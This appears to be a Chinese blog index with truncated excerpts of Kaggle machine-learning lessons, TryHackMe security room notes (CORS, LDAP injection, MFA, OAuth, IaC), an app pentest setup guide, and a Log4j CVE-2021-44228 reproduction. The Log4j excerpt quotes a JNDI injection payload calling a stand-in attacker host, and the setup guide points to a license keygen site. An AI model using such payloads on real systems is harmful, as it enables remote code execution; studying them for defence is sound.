kaggleIntrotoMachineLearning欠拟合和过拟合
完成本步骤后,您将理解欠拟合和过拟合的概念,并能够运用这些概念来提升模型的准确性。
Underfitting and Overfitting现在您已经掌握了可靠的方法来衡量模型的准确性,您可以尝试不同的模型,看看哪个模型的预测效果最佳。但是,您有哪些其他的模型呢?
您可以在 scikit-learn 的文档中看到,决策树模型有很多选项(比您长期所需的选项还要多)。最重要的选项决定了树的深度。回想一下本课程的第一课,树的深度衡量的是它在做出预测之前进行了多少次分裂。这是一棵相对较浅的树。
实践中,一棵树在顶层(所有房屋)和一片叶子节点之间进行 10 次分割的情况并不少见。随着树的深度增加,数据集会被切分成包含较少房屋的叶子节点。如果一棵树只有 1 次分割,它会将数据分成 2 组。如果每组再次分割,我们会得到 4 组房屋。再次分割每组房屋将创建 8 组。如果我们通过在每一层增加更多分割来使房屋组数量翻倍,那么到第十层时,我们将拥有 210210 组房屋。也就是 1024 片叶子节点。
当我们将房屋划分到许多叶子节点时,每片叶子节点上的房屋数量也会减少。房屋数量很少的叶子节点的预测结果会非 ...
kaggleIntrotoMachineLearning第一个机器学习模型
Selecting Data for Modeling你的数据集包含太多变量,你根本无法理解,甚至无法很好地打印出来。如何将如此庞大的数据精简到你能理解的程度呢?
我们将首先运用直觉挑选一些变量。后续课程将向你展示自动确定变量优先级的统计技术。
要选择变量/列,我们需要查看数据集中所有列的列表。这可以通过 DataFrame 的 columns 属性(下面代码的最后一行)来实现。
In [1]:
import pandas as pdmelbourne_file_path = '../input/melbourne-housing-snapshot/melb_data.csv'melbourne_data = pd.read_csv(melbourne_file_path) melbourne_data.columns
Out[1]:
Index(['Suburb', 'Address', 'Rooms', 'Type', 'Price', 'Method', 'SellerG', 'Date', 'Distance', 'Postcode', 'Bedroom2', ' ...
kaggleIntrotoMachineLearning模型验证
你已经建立了一个模型。但它有多好?
在本课中,你将学习如何使用模型验证来衡量模型的质量。衡量模型质量是迭代改进模型的关键。
What is Model Validation你几乎需要评估你构建的每个模型。在大多数(但并非所有)应用中,模型质量的相关指标是预测准确度。换句话说,模型的预测是否接近实际情况。
许多人在衡量预测准确度时犯了一个很大的错误。他们使用训练数据进行预测,然后将这些预测与训练数据中的目标值进行比较。你稍后会看到这种方法的问题以及如何解决它,但让我们先思考一下如何做到这一点。
你首先需要以一种易于理解的方式概括模型质量。如果你比较 10,000 栋房屋的预测价值和实际价值,你可能会发现预测结果有好有坏。浏览一万个预测值和实际值的列表毫无意义。我们需要将其总结为一个指标。
有很多指标可以概括模型的质量,但我们先从平均绝对误差(也称为MAE)开始。让我们从最后一个词“误差”开始,来详细分析一下这个指标。
每栋房屋的预测误差为:
error=actual−predicted
因此,如果一栋房子的价格为 150,000 美元,而您预测其价格为 100,000 美元,则误差为 ...
kaggleIntrotoMachineLearning基础数据探索
Using Pandas to Get Familiar With Your Data任何机器学习项目的第一步都是熟悉数据。你需要使用 Pandas 库来实现这一点。Pandas 是数据科学家用来探索和操作数据的主要工具。大多数人在代码中将 Pandas 缩写为“pd”。我们使用以下命令执行此操作:
In [1]:
import pandas as pd
Pandas 库中最重要的部分是 DataFrame。DataFrame 保存的数据类型可以理解为表格。它类似于 Excel 中的工作表或 SQL 数据库中的表。
Pandas 拥有强大的方法,可以处理这类数据的大部分操作。
例如,我们将查看澳大利亚墨尔本的房价数据。在动手练习中,您将把相同的流程应用于一个新的数据集,该数据集包含爱荷华州的房价。
示例(墨尔本)数据位于文件路径 **../input/melbourne-housing-snapshot/melb_data.csv**。
我们使用以下命令加载和探索数据:
In [2]:
# save filepath to variable for easier accessmelb ...
kaggleIntrotoMachineLearning模型如何工作
Introduction我们将首先概述机器学习模型的工作原理及其使用方法。如果您之前做过统计建模或机器学习,这可能感觉比较基础。别担心,我们很快就会逐步讲解如何构建强大的模型。
本课程将引导您通过以下场景构建模型:
您的表弟通过房地产投机赚了数百万美元。由于您对数据科学的兴趣,他提出与您成为商业伙伴。他提供资金,您则提供预测各种房屋价值的模型。
您问您的表弟,他过去是如何预测房地产价值的,他说这只是直觉。但进一步的询问表明,他从过去看过的房屋中识别出了价格模式,并利用这些模式来预测他正在考虑的新房。
机器学习的工作原理与此相同。我们将从一种称为决策树的模型开始。有一些更高级的模型可以给出更准确的预测。但决策树很容易理解,而且它们是数据科学中一些最佳模型的基本构建块。
为了简单起见,我们将从最简单的决策树开始。
它仅将房屋分为两类。任何房屋的预测价格都是同一类别房屋的历史平均价格。
我们利用数据来决定如何将房屋分成两组,然后再确定每组的预测价格。从数据中捕捉模式的这一步骤称为拟合或训练模型。用于拟合模型的数据称为训练数据。
模型拟合的细节(例如如何拆分数据)非常复杂,我们将留待以后再讨 ...
THMCORS&SOP
Introduction跨域资源共享 (CORS) 是一种允许 Web 应用程序安全地从不同域请求资源的机制。这在 Web 安全中至关重要,因为它可以防止一个页面上的恶意脚本通过浏览器访问另一个网页上的敏感数据。
同源策略 (SOP) 是一种安全措施,用于限制网页与不同来源的资源进行交互。来源由方案 (scheme)、主机名 (hostname) 和 URL 端口定义。
目标
了解 CORS 和 SOP 的基本原理。
识别并理解 CORS 和 SOP 配置的安全隐患。
在受控环境中利用与 CORS 和 SOP 相关的漏洞。
了解并应用缓解和预防这些漏洞的措施。
先决条件
对 Web 应用程序架构和服务端脚本有基本的了解。
熟悉 Web 服务器配置和 HTTP 标头。
了解 JavaScript 的 XMLHttpRequest (XHR) 或 Fetch API。
Understanding SOP同源策略同源策略(SOP)是一种指示 Web 浏览器如何在网页之间进行交互的策略。根据此策略,只有当两个网页共享同一来源时,一个网页上的脚本才能访问另一个网页上的数据。此“来源”通过 U ...
THMLDAPInjection
IntroductionLDAP 是轻量级目录访问协议 (LDAP) 的缩写,是一种广泛使用的协议,用于通过互联网协议 (IP) 网络访问和维护分布式目录信息服务。LDAP 使组织能够集中管理用户、群组和其他目录信息,这些信息通常用于 Web 和内部应用程序中的身份验证和授权。
目标
深入了解 LDAP 及其在目录服务中的作用。
探索 LDAP 树形结构及其关键组件。
介绍 LDAP 注入、其影响以及如何利用它。
使学员掌握识别和缓解 LDAP 注入漏洞的知识和技能。
先决条件
对目录服务的工作原理(尤其是 LDAP)有基本的了解。
掌握 Web 应用程序安全原则和常见漏洞的基本知识。
熟悉 LDAP 的结构和组件,例如可分辨名称 (DN) 和属性。
熟悉 Web 应用程序安全测试工具和技术,例如 OWASP ZAP 或 Burp Suite。
Structure在 LDAP 中,目录条目被构建为对象,每个对象都遵循特定的模式,该模式定义了适用于该对象的规则和属性。这种面向对象的方法确保了一致性,并控制了如何在目录中表示和操作用户或组等对象。
使用 LDAP 的服务:
Micro ...
THMMulti-FactorAuthentication
Introduction多因素身份验证 (MFA) 在现代应用程序中发挥着重要作用。MFA 不再仅仅依赖于密码,而是增加了额外的防御层。本质上,MFA 是多种检查的组合。这些检查可能是您已知的信息(例如密码)、您拥有的信息(例如智能手机)以及您自身的信息(例如指纹)。通过使用这些层级,MFA 使威胁行为者更难以访问用户帐户或应用程序。
目标在本课程结束时,您将:
了解 MFA 的运行原理及其在增强应用程序安全态势方面的重要性。
探索 MFA 设置中使用的不同类型的身份验证因素。
深入了解实施 MFA 以保护敏感数据和系统的实际场景。
先决条件在开始本课程之前,您应该对以下概念有基本的了解:
熟悉身份验证机制的一般概念,包括密码和简单身份验证流程的工作原理。
熟练掌握 Linux 命令行的基本操作和使用技能。
完成 枚举与暴力破解 房间测试。
How MFA Works在当今的数字时代,保护敏感数据和系统的安全比以往任何时候都更加重要。多重身份验证 (MFA) 要求您提供两个或更多验证因素,从而为用户帐户提供额外保护。这使得攻击者访问用户帐户的难度显著增加。
需要注意的是,2FA ...
THMOAuthVulnerabilities
Introduction在现代 Web 应用程序中,OAuth 漏洞是一个严重且经常被忽视的风险;我们所说的 OAuth,指的是 OAuth 2.0,这个常用的授权框架。当黑客利用 OAuth 2.0 中的漏洞时,就会出现这些漏洞,这些漏洞会导致 CSRF、XSS、数据泄露以及其他漏洞的利用。
学习目标
通过本课程,您将全面了解以下关键概念:
OAuth 2.0 的基本概念(授权类型)
OAuth 2.0 流程
识别 OAuth 服务
漏洞利用技术
OAuth 2.1 的演变
建议您在开始本课程之前了解以下主题:
OWASP Top 10
协议与服务器
网站工作原理
开始吧!
Key Concepts本任务将讨论理解 OAuth,特别是 OAuth 2.0 的关键概念。这些概念构成了理解 OAuth 2.0 框架构建方式的基础。作为一名渗透测试人员或安全程序员,理解这些概念对于渗透测试网站或编写无漏洞代码至关重要。为了使这些概念更容易理解,我们将通过一个日常示例来解释:使用咖啡店的移动应用程序订购和支付咖啡。
资源所有者资源所有者是控制某些数据并可以授权应用程序代表其访问这些数 ...
APP渗透测试环境配置(Charles+雷电模拟器)
前言记录一些自己在做APP渗透测试装环境的时候的一些问题以及解决方法,本人使用雷电模拟器配合Charles进行抓包
Charles官方安装Chalres https://www.charlesproxy.com/
Windows给的是.appx,其实可以压缩工具打开,直接将Charles目录复制出来即可。注册码可以使用各种网站生成,比如:https://inused.github.io/pages/file/tool/CharlesKeygen.html 用户名随便填。
其他配置参考:
https://www.cnblogs.com/jiajunling/p/16160453.html
雷电模拟器模拟器需要先开启桥接模式,在右边的”设置”->”网络”中->”自定义”,桥接网卡选择WIFI的网卡,IP填个能用的就行,网关和掩码通过电脑cmd ipconfig查看。证书的下载和上面那个链接说的差不多,手机先连接,然后访问chls.pro/ssl下载即可。不过需要将证书安装至系统信任的证书下才行,不能直接在手机中安装。
所以也可以在”Help”->”SSL Proxying ...
CVE-2021-44228Log4j复现
前言原理概述Apache Log4j 2 是Java语言的日志处理套件,在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。
JNDI简单介绍JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。JNDI注入主要是用过下载远程class,来运行恶意代码。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。
漏洞侦察漏洞可能存在于应用程序记录数据的任何位置。
这就是这种脆弱性的症结所在。不幸的是,很难确定不同应用程序的攻击面在哪里,因此,哪些应用程序实际上是脆弱的。仅仅看到log4j文件的存在并不能说明确切的版 ...
Cloud-basedIaCTHM
Introduction探索基础设施即代码 (IaC) 的基础知识及其在现代云计算中的关键作用。我们将重点介绍使用 AWS CloudFormation 和 Terraform 的基于云的 IaC 用例,这些用例能够以可扩展、高效且安全的方式创建和管理云资源。
学习前提条件
从任务 2 开始,将参考 IaC 简介 房间中定义的概念和工具特性,因此完成这项工作是个好主意!
学习目标
了解基于云的 IaC 概念
安全的 IaC 实践
基于云的 IaC 中的安全注意事项
Terraform 101Terraform 概述
Terraform 是一种用于配置的基础设施即代码工具,它允许用户在人性化配置文件中定义云和本地资源,该文件可以进行版本控制、重复使用和跨团队分发。Terraform 使用一致的工作流使基础设施的管理变得简单而可靠。此房间中的后续任务将介绍此配置和 Terraform 遵循的工作流。现在,让我们定义一些术语,这些术语对于理解 Terraform 如何配置和管理基础设施至关重要:
Terraform 的架构
现在我们知道了 Terraform 的作用。让我们来看看它是如何 ...
